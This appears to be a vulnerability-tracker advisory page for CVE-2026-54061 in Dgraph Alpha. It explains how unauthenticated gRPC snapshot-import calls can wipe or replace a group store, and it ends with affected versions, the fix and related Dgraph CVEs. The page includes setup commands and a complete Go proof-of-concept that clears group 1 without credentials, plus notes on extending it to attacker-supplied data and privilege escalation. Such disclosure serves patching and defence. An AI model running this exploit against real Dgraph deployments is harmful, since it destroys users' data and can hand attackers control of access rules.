CVE-2026-54061Critical· 9.1▾ MidnightDgraph Alpha group stores can be replaced via unauthenticated external snapshot import
▾ Midnight zone — Critical, or high with PoC / in-the-wild
impact 50.1 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Aug 20.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.4%
0.4% → 0.6%
Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port :9080 without authentication or authorization. As a result, an unauthenticated network client can open StreamExtSnapshot and send Badger stream data to the target group’s store. In addition, the receiver calls Prepare() before processing the stream. This operation deletes and replaces the existing DB data.
The root cause is that the RPCs used for external snapshot import are exposed through Alpha’s public gRPC service, but no administrator authorization check is performed before reaching destructive storage operations.
Streaming RPCs such as StreamExtSnapshot do not have a stream interceptor, and the RPC handlers do not perform their own authorization checks. As a result, an unauthenticated client that can reach the public gRPC port can start the import flow. Dgraph then calls Badger’s StreamWriter.Prepare() on the target group store. This operation deletes the existing database, allowing the attacker’s stream to potentially replace the store.
Preconditions:
:9080auth-token metadata is used by the client# Example if the tested source tree is built and tagged locally.
docker run --rm -p 8080:8080 -p 9080:9080 \
-v "$PWD/dgraph-ext-snapshot-poc:/dgraph" \
dgraph-standalone:2b6d6328d
For example, insert a harmless record.
curl -sS -X POST "http://127.0.0.1:8080/mutate?commitNow=true" \
-H "Content-Type: application/rdf" \
--data-binary $'{ set { _:poc <name> "before-import" . } }'
Dgraph.StreamExtSnapshot and select group 1 as the target group.package main
import (
"context"
"fmt"
"io"
"log"
"github.com/dgraph-io/dgo/v250"
"github.com/dgraph-io/dgo/v250/protos/api"
)
func main() {
ctx := context.Background()
// No JWT or auth metadata is attached.
dg, err := dgo.Open("dgraph://127.0.0.1:9080")
if err != nil {
log.Fatal(err)
}
defer dg.Close()
client := dg.GetAPIClients()[0]
stream, err := client.StreamExtSnapshot(ctx)
if err != nil {
log.Fatal(err)
}
if err := stream.Send(&api.StreamExtSnapshotRequest{GroupId: 1}); err != nil {
log.Fatal(err)
}
if _, err := stream.Recv(); err != nil {
log.Fatal(err)
}
// Complete an empty external snapshot stream. On the server side,
// the local subscriber calls StreamWriter.Prepare() before consuming
// packets from the stream.
if err := stream.Send(&api.StreamExtSnapshotRequest{
Pkt: &api.StreamPacket{Done: true},
}); err != nil {
log.Fatal(err)
}
for {
resp, err := stream.Recv()
if err == io.EOF {
break
}
if err != nil {
log.Fatal(err)
}
if resp.GetFinish() {
fmt.Println("unauthenticated external snapshot stream finished")
break
}
}
}
Observed result:
UpdateExtSnapshotStreamingState(Start) call is required.worker.runLocalSubscriber(...) calls pstore.NewStreamWriter().Prepare().The official import client demonstrates the same wire format and call order: dgraph/cmd/dgraphimport/import_client.go opens dgo.Open(...), calls StreamExtSnapshot, sends a first GroupId message, and then streams api.StreamPacket.Data chunks followed by Done: true.
This Done-only PoC demonstrates unauthenticated clear/empty replacement of the selected group store. To additionally demonstrate attacker-controlled non-empty replacement, send valid Badger stream chunks in api.StreamPacket.Data before Done: true.
An unauthenticated attacker who can reach Alpha’s public gRPC port can clear a selected Dgraph group store or replace it with attacker-supplied Badger stream data. In ACL-enabled deployments, group 1 stores Dgraph’s ACL/internal predicates, so replacing group 1 may also lead to privilege escalation.
UpdateExtSnapshotStreamingState calls worker.ProposeDrain(...).StreamExtSnapshot using stream.Context().StreamExtSnapshot unless import mode was explicitly armed by an authorized request.github.com/dgraph-io/dgraph/v25 <= 25.3.4Upgrade to a patched release:
github.com/dgraph-io/dgraph/v25 25.3.5Connected by shared product, vendor, weakness, or advisory.
CVE-2026-34976Critical· 10.0Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization
CVE-2026-41327Critical· 9.1Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in Upsert Condition Field
CVE-2026-40173Critical· 9.4Dgraph: Unauthenticated /debug/pprof/cmdline discloses admin auth token, enabling unauthorized access to protected Alpha admin endpoints
CVE-2026-41492Critical· 9.8Dgraph: Unauthenticated Admin Token Disclosure Leading to Authentication Bypass via /debug/vars
CVE-2026-41328Critical· 9.1Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in NQuad Lang Field
CVE-2026-44840High· 7.5Dgraph Vulnerable to DQL Injection via checkUserPassword GraphQL Query